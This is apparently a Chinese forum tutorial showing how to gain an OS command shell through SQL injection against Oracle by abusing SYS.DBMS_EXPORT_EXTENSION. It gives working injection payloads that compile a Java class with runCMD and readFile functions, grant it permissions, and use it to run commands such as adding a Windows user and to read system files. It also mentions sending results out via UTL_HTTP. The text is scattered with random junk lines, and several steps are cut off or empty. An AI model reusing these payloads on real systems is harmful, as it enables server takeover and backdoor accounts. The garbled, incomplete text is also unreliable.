犀利的 oracle 注入技术
( ^! q2 H7 z2 A p+ M- H& z/ q4 `8 u
% R5 y8 X7 R+ m8 L
介绍一个在web上通过oracle注入直接取得主机cmdshell的方法。
% E- {' i# K0 l0 F7 V3 v0 H
6 O9 `1 C M! t& P
以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成
* d4 s( u6 T' h( m8 t
) f6 T3 j% G! i5 L. z
/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)
: n& i9 Y2 g) S' u- A' s
/ u, L" k/ }& ^$ f; C
的形式即可。(用" 'a'|| "是为了让语句返回true值)
8 |4 U( w! a. g" S( |4 Y
! M" h- \- R" ^1 |% S4 R/ u/ q
语句有点长,可能要用post提交。
/ G+ I+ ^9 h% h: a9 u# l+ }
" V# d- a) S! V" l' [+ B7 a6 K
; ]7 w- C; `7 P, Y# O1 m5 D
% N! |' ]3 \5 y5 N! r
以下是各个步骤:
8 a% o% z! x5 A% n4 E8 y
' N8 D7 |- R. f: ?+ c& a8 I* {: O
1.创建包
% h9 a! |' p! I5 n& r. z& @3 O
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:
. h& S+ `, R9 K; E* C! l
4 d( A, i3 s! F$ e# F- O8 R/ h5 L
/xxx.jsp?id=1 and '1'<>'a'||(
1 q* j" a# e+ I0 U" \0 b
) d2 n9 _% }) X b$ y% Y/ v
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(
1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
3 G, Z$ U" ~* d, v
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
B0 ~1 f& U- I0 l) o; k+ m7 q
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
! E1 b2 @ K4 x
}'''';END;'';END;--','SYS',0,'1',0) from dual
7 J( G9 K, I5 A, l7 ?
$ p- ^( C$ w, [7 Q' g) y
)
# f% ^* z" F; f% g! |3 I
' a9 p. A4 M" Q; K; f. J6 E
------------------------
7 N* }& h$ N+ ~) I2 O/ F
如果url有长度限制,可以把readFile()函数块去掉,即:
* w2 g. D. t' p, X u
/xxx.jsp?id=1 and '1'<>'a'||(
3 r* Q4 S+ p7 j
# r& x* P4 t9 d: Y$ x' \, O
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(

! y( k4 r) a6 d6 E" x% g. u
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
+ u$ q: k. @# X
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
& C1 c% u% T1 \% q
}'''';END;'';END;--','SYS',0,'1',0) from dual

: X6 h" R, l. [2 @( X
)
8 S, L: H! S9 j8 O: @* r+ C$ _, d' Q
7 i/ G; v: j! E
同时把后面步骤 提到的 对readFile()的处理语句去掉。

2.赋Java权限
' V' y3 L4 L; R% D1 I1 t
4 X( D2 E7 D- V! J/ Z5 S
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(

- o. i6 ^1 T% }+ B0 H
4 D1 K, N; [ E# o* h/ i
9 h4 j$ c# }( s2 f
3.创建函数
- q3 q6 { H6 V* G2 y4 a+ U
0 t; `" s& n0 ^$ s5 y; Q& L9 P* ]3 q
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(

create or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
9 J1 V% o' S6 ?2 m8 O
3 X: n3 U/ A1 N4 ?& I w
4.赋public执行函数的权限
9 u' @* H; f- S5 F) R

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(

5.测试上面的几步是否成功
- ^9 r1 \6 ~' s# Y% q8 x
2 Q9 J& \: M, J
and '1'<>'11'||(
5 S) c2 ]+ I2 M$ r' d
select OBJECT_ID from all_objects where object_name ='LINXRUNCMD'

)
- V+ H, h7 B8 J. Z! j1 A& n/ Y' m
_- n( l7 Y1 g2 @# }
6.执行命令:
* C% y$ ^& P- {% v' y3 S6 I; C, H
; s! X- [9 ^) o, }; J1 Q
/xxx.jsp?id=1 and '1'<>(
' g4 K& V; o# R/ v

9 w' ^9 b8 o. W' f) U( a+ H5 L5 s/ {

2 U3 f/ H% l) a: d9 [( ?
/xxx.jsp?id=1 and '1'<>(
# ^6 g: J$ s! k* M
select sys.LinxReadFile('c:/boot.ini') from dual
# T1 _6 L$ A) L1 V1 a
)
4 Z* n6 ?7 J3 n9 ^6 i$ z
3 {& e! j2 r1 E i( u& } d
注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。
3 Y" W: v l6 l; ^
如果要查看运行结果可以用 union :
' [2 V. k+ o9 a3 M) [, C8 D
, z7 A5 e( u; F- u0 X) I2 \
/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual
1 D- v7 f f' } r8 l5 w
7 t. R! C+ i9 ^9 Z L! y/ y
或者UTL_HTTP.request(:

2 n, V4 m d# Y5 F- m
)
" h7 s9 |9 A: A( h
" X' p7 _3 p& v4 y# i3 m
注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。

通过以下命令可以查看all_objects表达改变:
